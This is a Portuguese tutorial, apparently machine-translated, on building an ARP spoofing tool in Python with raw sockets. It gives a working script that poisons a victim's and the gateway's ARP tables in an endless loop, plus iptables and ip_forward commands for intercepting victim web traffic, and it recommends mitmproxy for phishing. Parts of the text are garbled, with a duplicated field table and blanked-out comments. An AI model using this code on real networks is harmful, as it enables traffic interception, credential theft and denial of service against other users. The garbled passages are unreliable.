Introdução
Neste artigo, gostaria de demonstrar como você pode implementar seu próprio programa de spoofing de ARP em Python. Já existem milhares de implementações, mas quase todas estão usando a biblioteca Scapy e alguns métodos. É possível usar essa biblioteca com mais eficiência, não discuto, mas estava interessado em implementá-la eu mesmo usando sockets e gostaria de dizer aos leitores como isso é feito.
Presume-se que você já esteja familiarizado com o funcionamento do protocolo ARP e suas desvantagens, caso contrário, aconselho-o a ler este artigo .
Não sou um especialista em Segurança da Informação altamente qualificado, então peço que você não jogue seus chinelos, mas que especifique quaisquer imprecisões nos comentários.
Um pouco de teoria
Vamos começar com o fato de que o código do protocolo é \ x08 \ x06 e funciona na segunda camada OSI, ou seja, canal.
Então você precisa se familiarizar com o corpo do pacote para saber o que enviar. Na wikipedia está muito bem escrito:
Corpo da embalagem
Hardware type (HTYPE)
, . , Ethernet 0x0001.
Protocol type (PTYPE)
. , IPv4 0x0800.
Hardware length (HLEN)
. Ethernet 6 (0x06).
Protocol length (PLEN)
. IPv4 4 (0x04).
Operation
: 0x0001 0x0002 .
Sender hardware address (SHA)
.
Sender protocol address (SPA)
.
Target hardware address (THA)
. .
Target protocol address (TPA)
.
, . , Ethernet 0x0001.
Protocol type (PTYPE)
. , IPv4 0x0800.
Hardware length (HLEN)
. Ethernet 6 (0x06).
Protocol length (PLEN)
. IPv4 4 (0x04).
Operation
: 0x0001 0x0002 .
Sender hardware address (SHA)
.
Sender protocol address (SPA)
.
Target hardware address (THA)
. .
Target protocol address (TPA)
.
À primeira vista, pode parecer difícil, mas se você descobrir, não haverá problemas.
E assim, o primeiro - Tipo de Hardware (Tipo de Hardware) para nós é Ethernet, então o código será 0x0001 ou \ x00 \ x01 , Tipo de Protocolo - IPv4, codificado como \ x08 \ x00 ; depois vem o comprimento do hardware e do tipo de protocolo \ x06 \ x04 , ou seja, 6 e 4 bytes.
E no final temos um código de operação, que no caso do pedido é \ x00 \ x01 , e no caso da resposta \ x00 \ x02 e os endereços físicos / lógicos do remetente / destinatário.
Implementação
Em primeiro lugar, você precisa declarar uma instância de soquete e definir os parâmetros necessários:
import socket
import time
interface = "wlan0" #
mac = b"\xbb\xbb\xbb\xbb\xbb\xbb" # MAC-, bb:bb:bb:bb:bb:bb
gateway_ip = socket.inet_aton("192.168.1.1") # IP-
gateway_mac = b"\xaa\xaa\xaa\xaa\xaa\xaa" # MAC-
victim_ip = socket.inet_aton("192.168.1.2") # IP-
victim_mac = b"\xcc\xcc\xcc\xcc\xcc\xcc" # MAC-
connect = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
connect.bind((interface, socket.htons(0x0800)))
Assumindo que o ARP é um protocolo da camada 2 do OSI, usamos socket.PF_PACKET como o primeiro parâmetro. Você também precisará de direitos de root para o programa funcionar.
O método socket.htons () converte números naturais de 16 bits na ordem de bytes da rede.
O método Socket.inet_aton () converte endereços IPv4 em formato binário de 32 bits.
Eu também declarei as variáveis necessárias.
A próxima etapa é a formação da embalagem:
arp_code = b'\x08\x06' #
htype = b'\x00\x01' # Hardware Type
ptype = b'\x08\x00' # Protocol Type
hlen = b'\x06' # Hardware Length
plen = b'\x04' # Protocol Length
operation = b'\x00\x02' # Operation Code -
protocol = htype + ptype + hlen + plen + operation #
# ,
eth_packet_1 = victim_mac + mac + arp_code
eth_packet_2 = gateway_mac + mac + arp_code
#
# 4 4 ,
request_victim = eth_packet_1 + protocol + mac + gateway_ip + victim_mac + victim_ip
request_gateway = eth_packet_2 + protocol + mac + victim_ip + gateway_mac + gateway_ip
#
while True:
connect.send(request_victim)
connect.send(request_gateway)
time.sleep(1)
Agora, analisamos apenas o próprio programa, mas se você deseja não apenas desconectar os usuários do gateway, mas também substituir / farejar pacotes, para isso você precisará habilitar o encaminhamento em ip_forward:
echo 1 > /proc/sys/net/ipv4/ip_forward
E também configurar o roteamento de pacotes por meio de iptables:
iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080
Se você deseja conduzir phishing, o utilitário mitmproxy é a melhor escolha .
Você pode visualizar o tráfego que passa por você usando o utilitário tcpdump .
Também publiquei em meu GitHub um script projetado para desconectar todos ou alguns dos nós do gateway - github.com/secwayz/netbuster
Como resultado de escrever o programa, descobri que mesmo com o código de operação 0x0001(solicitação) e com todos os parâmetros da resposta (eles são ligeiramente diferentes), a vítima ainda recebe o pacote e muda o endereço MAC na tabela ARP, enquanto a estabilidade do ataque e a força dessa entrada são aumentadas significativamente. Presumo que se trate de outra falha do protocolo, em que a interface de rede não ignora o pacote composto incorretamente, mas o processa e sobrescreve a tabela.